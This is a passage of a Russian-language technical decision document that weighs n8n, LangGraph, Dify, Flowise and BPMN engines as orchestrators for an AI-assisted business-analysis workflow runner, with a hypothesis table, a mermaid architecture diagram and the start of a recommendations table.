\u043c\u043e\u0434\u0443\u043b\u0438 ([Code](https://docs.n8n.io/integrations/builtin/core-nodes/n8n-nodes-base.code.md)); \u043f\u0430\u0440\u0441\u0435\u0440 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u043e\u0433\u043e \u0432\u044b\u0432\u043e\u0434\u0430 \u043d\u0435 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442 `$ref` ([docs](https://docs.n8n.io/integrations/builtin/cluster-nodes/sub-nodes/n8n-nodes-langchain.outputparserstructured.md)), \u0430 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b \u043f\u0430\u043a\u0435\u0442\u0430 \u043d\u0430 \u043d\u0451\u043c \u043f\u043e\u0441\u0442\u0440\u043e\u0435\u043d\u044b; \u0443\u0437\u0435\u043b Confluence \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f Cloud ([docs](https://docs.n8n.io/integrations/builtin/app-nodes/n8n-nodes-base.confluence.md)); \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 ([\u0413-48](#\u0433-48)) | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u0412\u044b\u0431\u043e\u0440.** n8n \u2014 \u043a\u0430\u043a \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0439 \u0438 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430 \u043f\u043e\u0432\u0435\u0440\u0445 API runner (\u0412-7), \u043d\u0435 \u043a\u0430\u043a \u044f\u0434\u0440\u043e \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 |\\n276\\t| \u0413-45 | n8n \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0441 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u044c\u044e \u0447\u0435\u0440\u0435\u0437 OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 \u0430\u0434\u0440\u0435\u0441 | \u0423\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 OpenAI \u0432 n8n \u0438\u043c\u0435\u044e\u0442 \u043f\u043e\u043b\u0435 `Base URL` ([\u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434](https://github.com/n8n-io/n8n/blob/master/packages/nodes-base/credentials/OpenAiApi.credentials.ts)); \u0432 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u043f\u043e\u043b\u044f \u043d\u0435\u0442. \u0420\u0430\u0431\u043e\u0442\u0430 \u043f\u0435\u0440\u0435\u043a\u043b\u044e\u0447\u0430\u0442\u0435\u043b\u044f \u00abUse Responses API\u00bb \u0441 `/chat/completions` \u043d\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430 | \u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435.** \u0414\u0435\u0440\u0436\u0430\u0442\u044c Responses API \u0432\u044b\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u044b\u043c; \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043d\u0430 \u0441\u0442\u0435\u043d\u0434\u0435 |\\n277\\t| \u0413-46 | n8n \u0443\u043c\u0435\u0435\u0442 \u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0443\u044e \u043f\u0430\u0443\u0437\u0443 \u0434\u043d\u044f\u043c\u0438 | \u0423\u0437\u0435\u043b Wait \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u043f\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0438, webhook \u0438\u043b\u0438 \u0444\u043e\u0440\u043c\u0435; \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 \u0434\u043e\u043b\u044c\u0448\u0435 65 \u0441 \u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f \u0432 \u0431\u0430\u0437\u0435 ([Wait](https://docs.n8n.io/integrations/builtin/core-nodes/n8n-nodes-base.wait.md)); \u0447\u0430\u0442 \u0443\u043c\u0435\u0435\u0442 \u00abSend and Wait for Response\u00bb \u0441 \u043a\u043d\u043e\u043f\u043a\u0430\u043c\u0438 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f ([Chat](https://docs.n8n.io/integrations/builtin/core-nodes/n8n-nodes-langchain.chat.md)) | \u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c** \u043a\u0430\u043a \u043a\u0430\u043d\u0430\u043b \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f \u0432 \u0412-7 |\\n278\\t| \u0413-47 | \u0412 n8n \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0418\u0418-\u0443\u0437\u043b\u043e\u0432 | \u0423\u0437\u0435\u043b AI Agent: \u00abthe agent decides which tools to call\u00bb ([docs](https://docs.n8n.io/integrations/builtin/cluster-nodes/root-nodes/n8n-nodes-langchain.agent.md)). \u0414\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u0443\u0442\u044c \u2014 Basic LLM Chain \u0441\u043e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u044b\u043c \u0432\u044b\u0432\u043e\u0434\u043e\u043c \u043f\u043b\u044e\u0441 \u0443\u0437\u043b\u044b \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u044f ([docs](https://docs.n8n.io/integrations/builtin/cluster-nodes/root-nodes/n8n-nodes-langchain.chainllm.md)), \u043d\u043e \u0442\u043e\u0433\u0434\u0430 \u0433\u0440\u0430\u0444 Source \u0440\u0438\u0441\u0443\u0435\u0442\u0441\u044f \u0432\u0442\u043e\u0440\u043e\u0439 \u0440\u0430\u0437 \u0432 JSON n8n ([\u044d\u043a\u0441\u043f\u043e\u0440\u0442](https://docs.n8n.io/build/manage-workflows/export-and-import.md)) | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435.** \u041d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c AI Agent \u0434\u043b\u044f \u0448\u0430\u0433\u043e\u0432 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430; \u0433\u0440\u0430\u0444 \u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0432 Source |\\n279\\t| \u0413-48 | n8n \u043c\u043e\u0436\u043d\u043e \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044c \u0440\u044f\u0434\u043e\u043c \u0441 Jira \u0438 Confluence \u0431\u0435\u0437 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043c\u0435\u0440 \u0437\u0430\u0449\u0438\u0442\u044b | CVE-2026-21858, CVSS 10.0, \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 ([Rapid7](https://www.rapid7.com/blog/post/etr-ni8mare-n8scape-flaws-multiple-critical-vulnerabilities-affecting-n8n/)); \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u041a\u0430\u043d\u0430\u0434\u044b ([AL26-001](https://www.cyber.gc.ca/en/alerts-advisories/al26-001-vulnerabilities-affecting-n8n-cve-2026-21858-cve-2026-21877-cve-2025-68613)); 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\u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u044f \u0441 Git, SSO \u0438 \u0436\u0443\u0440\u043d\u0430\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0432 Community \u043d\u0435\u0442 ([\u0444\u0443\u043d\u043a\u0446\u0438\u0438 Community](https://docs.n8n.io/deploy/host-n8n/community-edition-features.md)), \u0442\u0430\u0440\u0438\u0444 Business \u2014 667 \u20ac \u0432 \u043c\u0435\u0441\u044f\u0446 ([\u0446\u0435\u043d\u044b](https://n8n.io/pricing/)) | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0412\u044b\u0431\u043e\u0440.** \u0411\u0435\u0437 Git-\u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432\u0435\u0440\u0441\u0438\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0436\u0438\u0432\u0443\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 Source \u2014 \u044d\u0442\u043e \u0434\u043e\u0432\u043e\u0434 \u0437\u0430 \u0412-7, \u0430 \u043d\u0435 \u0412-6 |\\n281\\t| \u0413-50 | \u041f\u043b\u0430\u043d n8n \u0438\u0437 \u043c\u0430\u044f 2026 \u0431\u044b\u043b \u043e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442 \u043f\u043e \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u044f\u043c | \u042d\u0442\u0430\u043f 4 \u00abn8n-\u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0446\u0438\u044f\u00bb ([L275-L283](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/mango/2026-05-26-rag-mapping-roadmap.md#L275-L283)) \u0438 \u0443\u0437\u043b\u044b n8n \u043f\u043e \u044d\u0442\u0430\u043f\u0430\u043c ([L425-L437](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/mango/2026-05-26-requirements-lifecycle-uncertainty.md#L425-L437)); \u0432\u0435\u0440\u0434\u0438\u043a\u0442 `M4` n8n \u043d\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 ([L191](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/orchestration/30-decision-framework.md#L193)); \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u041c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c.** \u0418\u0434\u0435\u044f, \u0441\u043d\u044f\u0442\u0430\u044f \u0431\u0435\u0437 \u043e\u0446\u0435\u043d\u043a\u0438, \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u2014 \u043a\u0430\u043a \u0441\u0435\u0439\u0447\u0430\u0441. \u041e\u0442\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u044f\u043c \u043d\u0443\u0436\u0435\u043d \u0442\u0440\u0438\u0433\u0433\u0435\u0440 \u043f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440\u0430 |\\n282\\t| \u0413-51 | LangGraph \u043c\u043e\u0436\u043d\u043e \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044c \u0432 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u043c \u043a\u043e\u043d\u0442\u0443\u0440\u0435 \u0431\u0435\u0441\u043f\u043b\u0430\u0442\u043d\u043e | \u0411\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 \u2014 MIT ([LICENSE](https://github.com/langchain-ai/langgraph/blob/main/LICENSE)), \u043f\u0430\u0443\u0437\u0430 `interrupt()` \u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0435\u043d\u0438\u0435 `Command(resume=\u2026)` ([docs](https://docs.langchain.com/oss/python/langgraph/interrupts)), \u0445\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0432 Postgres ([persistence](https://docs.langchain.com/oss/python/langgraph/persistence)). LangGraph Server \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043a\u043b\u044e\u0447 \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0438 \u0438 \u0432\u044b\u0445\u043e\u0434 \u043d\u0430 `beacon.langchain.com` ([docs](https://docs.langchain.com/langsmith/deploy-standalone-server)). \u041f\u0440\u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0435\u043d\u0438\u0438 \u0443\u0437\u0435\u043b \u0441 `interrupt()` \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0437\u0430\u043d\u043e\u0432\u043e, \u043f\u043e\u0431\u043e\u0447\u043d\u044b\u0435 \u044d\u0444\u0444\u0435\u043a\u0442\u044b \u0434\u043e\u043b\u0436\u043d\u044b \u0431\u044b\u0442\u044c \u0438\u0434\u0435\u043c\u043f\u043e\u0442\u0435\u043d\u0442\u043d\u044b | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0412\u044b\u0431\u043e\u0440.** \u0422\u043e\u043b\u044c\u043a\u043e \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 \u0432\u043d\u0443\u0442\u0440\u0438 \u0441\u0432\u043e\u0435\u0433\u043e \u0441\u0435\u0440\u0432\u0438\u0441\u0430 (\u0412-4), \u043d\u0435 LangGraph Server |\\n283\\t| \u0413-52 | Low-code \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b \u0441 \u0418\u0418 (Dify, Flowise) \u043f\u043e\u0434\u0445\u043e\u0434\u044f\u0442 \u043a\u0430\u043a \u044f\u0434\u0440\u043e | Dify \u2014 \u0438\u0437\u043c\u0435\u043d\u0451\u043d\u043d\u0430\u044f Apache \u0441 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f\u043c\u0438 ([LICENSE](https://github.com/langgenius/dify/blob/main/LICENSE)), \u043a\u043e\u0434 \u0432 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u0435 \u0431\u0435\u0437 \u0441\u0435\u0442\u0438 \u0438 \u0444\u0430\u0439\u043b\u043e\u0432 ([docs](https://docs.dify.ai/en/use-dify/nodes/code)) \u2014 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u044b Source \u043d\u0435 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c; Flowise \u2014 Node.js ([LICENSE](https://github.com/FlowiseAI/Flowise/blob/main/LICENSE.md)); \u0432 \u043e\u0431\u043e\u0438\u0445 \u0433\u0440\u0430\u0444 \u0440\u0438\u0441\u0443\u0435\u0442\u0441\u044f \u0437\u0430\u043d\u043e\u0432\u043e | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u0412\u044b\u0431\u043e\u0440.** \u041d\u0435 \u0431\u0440\u0430\u0442\u044c \u043a\u0430\u043a \u044f\u0434\u0440\u043e; \u043f\u043e\u0440\u043e\u0433 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u2014 \u0432\u0442\u043e\u0440\u0430\u044f \u043a\u043e\u043f\u0438\u044f \u0433\u0440\u0430\u0444\u0430 |\\n284\\t| \u0413-53 | BPMN-\u0434\u0432\u0438\u0436\u043e\u043a \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442 \u0434\u043b\u044f \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u0411\u0410 | Camunda 8 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u0443\u044e \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u044e \u0441 \u0432\u0435\u0440\u0441\u0438\u0438 8.6 ([Camunda](https://camunda.com/blog/2024/04/licensing-update-camunda-8-self-managed/)); Operaton \u2014 Apache-2.0 ([\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439](https://github.com/operaton/operaton)), \u043d\u043e \u044d\u0442\u043e Java \u0438 BPMN: \u0433\u0440\u0430\u0444 \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0432 BPMN, \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u044b \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a \u0432\u043d\u0435\u0448\u043d\u0438\u0435 \u0440\u0430\u0431\u043e\u0442\u043d\u0438\u043a\u0438 | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u0412\u044b\u0431\u043e\u0440.** \u041d\u0435 \u0431\u0440\u0430\u0442\u044c; \u0432\u0435\u0440\u043d\u0443\u0442\u044c\u0441\u044f, \u0442\u043e\u043b\u044c\u043a\u043e \u0435\u0441\u043b\u0438 \u0432 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0443\u0436\u0435 \u0435\u0441\u0442\u044c BPMN-\u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430 |\\n285\\t| \u0413-54 | \u041e\u0442\u043b\u043e\u0436\u0435\u043d\u043d\u0430\u044f \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u0430 \u00ab\u0432\u043d\u0435\u0448\u043d\u0438\u0439 workflow engine\u00bb \u0438\u043c\u0435\u0435\u0442 \u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u043f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440\u0430 | [RFC L371-L375](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-mango-ba-ai-runtime-cli-deployment.md#L371-L375): \u00ab\u041e\u0442\u043b\u043e\u0436\u0435\u043d\u043e\u00bb, \u043f\u0440\u0438\u0447\u0438\u043d\u0430 \u2014 \u0446\u0435\u043d\u0430; \u0443\u0441\u043b\u043e\u0432\u0438\u044f, \u043f\u0440\u0438 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0432\u0435\u0440\u043d\u0443\u0442\u044c\u0441\u044f, \u043d\u0435\u0442 | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442.** \u0417\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0442\u0440\u0438\u0433\u0433\u0435\u0440: \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f \u0434\u043e\u043b\u044c\u0448\u0435 \u0441\u0435\u0441\u0441\u0438\u0438, \u043e\u0431\u0449\u0438\u0439 \u0436\u0443\u0440\u043d\u0430\u043b \u2014 \u0442\u043e \u0435\u0441\u0442\u044c \u0441\u0440\u0435\u0434\u0430 4 |\\n286\\t\\n287\\t## \u0426\u0435\u043b\u0435\u0432\u0430\u044f \u0441\u0445\u0435\u043c\u0430\\n288\\t\\n289\\t```mermaid\\n290\\tflowchart LR\\n291\\t  S[\\\"Source: \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c, \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u044b, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b\\\"] -->|\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044f| PK[\\\"\u041f\u0430\u043a\u0435\u0442: \u0433\u0440\u0430\u0444 YAML, \u0441\u0445\u0435\u043c\u044b, \u0442\u0435\u043a\u0441\u0442\u044b\\\"]\\n292\\t  PK --> R[\\\"\u042f\u0434\u0440\u043e runner: \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u044b, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b \u0443\u0437\u043b\u043e\u0432, \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0435, \u0436\u0443\u0440\u043d\u0430\u043b\\\"]\\n293\\t  subgraph WS[\\\"\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 1: \u0440\u0430\u0431\u043e\u0447\u0435\u0435 \u043c\u0435\u0441\u0442\u043e\\\"]\\n294\\t    CLI[\\\"tools/run-task next\\\"]\\n295\\t    AG[\\\"GigaCode CLI \u0438\u043b\u0438 Cline: \u043f\u0438\u0448\u0435\u0442 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\\\"]\\n296\\t  end\\n297\\t  subgraph SRV[\\\"\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 2: \u0441\u0440\u0435\u0434\u0430 4\\\"]\\n298\\t    API[\\\"\u0421\u043b\u0443\u0436\u0431\u0430 runner + Postgres\\\"]\\n299\\t    UI[\\\"\u0427\u0430\u0442, \u043c\u0435\u0441\u0441\u0435\u043d\u0434\u0436\u0435\u0440 \u0438\u043b\u0438 \u0444\u043e\u0440\u043c\u0430; n8n \u2014 \u043f\u043e \u0436\u0435\u043b\u0430\u043d\u0438\u044e\\\"]\\n300\\t  end\\n301\\t  R --> CLI\\n302\\t  R --> API\\n303\\t  AG -->|\u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a| CLI\\n304\\t  UI --> API\\n305\\t  API -->|\u0448\u0430\u0433| LLM[\\\"Mango AI: OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 API\\\"]\\n306\\t  R --> V[\\\"\u0412\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u044b Source\\\"]\\n307\\t  API --> CI[\\\"CI gate \u0434\u043b\u044f Release\\\"]\\n308\\t```\\n309\\t\\n310\\t## \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 1: \u0440\u0430\u0431\u043e\u0447\u0435\u0435 \u043c\u0435\u0441\u0442\u043e \u0411\u0410\\n311\\t\\n312\\t**\u0421\u0443\u0442\u044c.** Runner \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u0432\u0435\u0434\u0443\u0449\u0438\u043c: \u043e\u043d \u0437\u043d\u0430\u0435\u0442, \u0433\u0434\u0435 \u0437\u0430\u0434\u0430\u0447\u0430, \u0447\u0442\u043e \u043d\u0443\u0436\u043d\u043e\\n313\\t\u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0441\u0435\u0439\u0447\u0430\u0441 \u0438 \u0447\u0442\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c. \u041c\u043e\u0434\u0435\u043b\u044c \u0432 GigaCode CLI \u0438\u043b\u0438 Cline \u043f\u0438\u0448\u0435\u0442\\n314\\t\u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a, \u0411\u0410 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0438 \u043e\u0442\u0434\u0430\u0451\u0442 \u0435\u0433\u043e runner \u043e\u0434\u043d\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439.\\n315\\t\\n316\\t| \u2116 | \u0418\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 | \u0427\u0442\u043e \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442 |\\n317\\t|---|-----------|---------------|\\n318\\t| 1.1 | Runner \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442 \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u044b \u0440\u0451\u0431\u0435\u0440 \u0438\u0437 YAML \u043d\u0430 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u043c \u044f\u0437\u044b\u043a\u0435 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0439; \u0440\u0443\u0447\u043d\u044b\u0435 \u0432\u0435\u0442\u0432\u0438 \u0432 Python \u0443\u0434\u0430\u043b\u044f\u044e\u0442\u0441\u044f; \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0440\u0430\u0437\u0431\u043e\u0440 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u0430 | [\u0413-28](#\u0433-28), `EP-R5` |\\n319\\t| 1.2 | \u0423 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0437\u043b\u0430 \u2014 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432\u044b\u0445\u043e\u0434 \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442; runner \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0432\u044b\u0445\u043e\u0434 \u0443\u0437\u043b\u0430; \u043c\u0435\u0442\u0440\u0438\u043a\u0430 \u043f\u0438\u043b\u043e\u0442\u0430 \u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u0430\u043a\u0438\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 | [\u0413-29](#\u0433-29), [\u0413-30](#\u0433-30) |\\n320\\t| 1.3 | \u0421\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 `waiting` \u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 `resume` \u0434\u043b\u044f \u043e\u0442\u0432\u0435\u0442\u0430 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430; \u043e\u0448\u0438\u0431\u043a\u0430 \u0432\u0432\u043e\u0434\u0430 \u043d\u0435 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u0437\u0430\u0434\u0430\u0447\u0443 | [\u0413-31](#\u0433-31), [\u0413-32](#\u0433-32), [\u0413-34](#\u0433-34), `EP-R8` |\\n321\\t| 1.4 | \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u043f\u043e `EP-R7`: \u043e\u0434\u043d\u0430 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u0443\u044e\u0449\u0430\u044f \u043f\u043e\u043f\u044b\u0442\u043a\u0430, \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u0430\u044f runner, \u0438\u043b\u0438 \u043d\u043e\u043b\u044c \u0441 \u043f\u0440\u0430\u0432\u043a\u043e\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 | [\u0413-33](#\u0433-33) |\\n322\\t| 1.5 | \u041a\u043e\u043c\u0430\u043d\u0434\u0430 `next`: runner \u043f\u0435\u0447\u0430\u0442\u0430\u0435\u0442 \u043f\u043e-\u0440\u0443\u0441\u0441\u043a\u0438 \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u0443\u0437\u0435\u043b, \u0447\u0442\u043e \u043d\u0443\u0436\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043e\u0442 \u0430\u0433\u0435\u043d\u0442\u0430, \u0433\u0434\u0435 \u0448\u0430\u0431\u043b\u043e\u043d \u0438 \u043a\u0430\u043a\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439 \u0441\u0434\u0430\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 | [\u041e\u0436\u0438\u0434\u0430\u043d\u0438\u044f 3 \u0438 4 \u043f\u0435\u0440\u0432\u043e\u0439 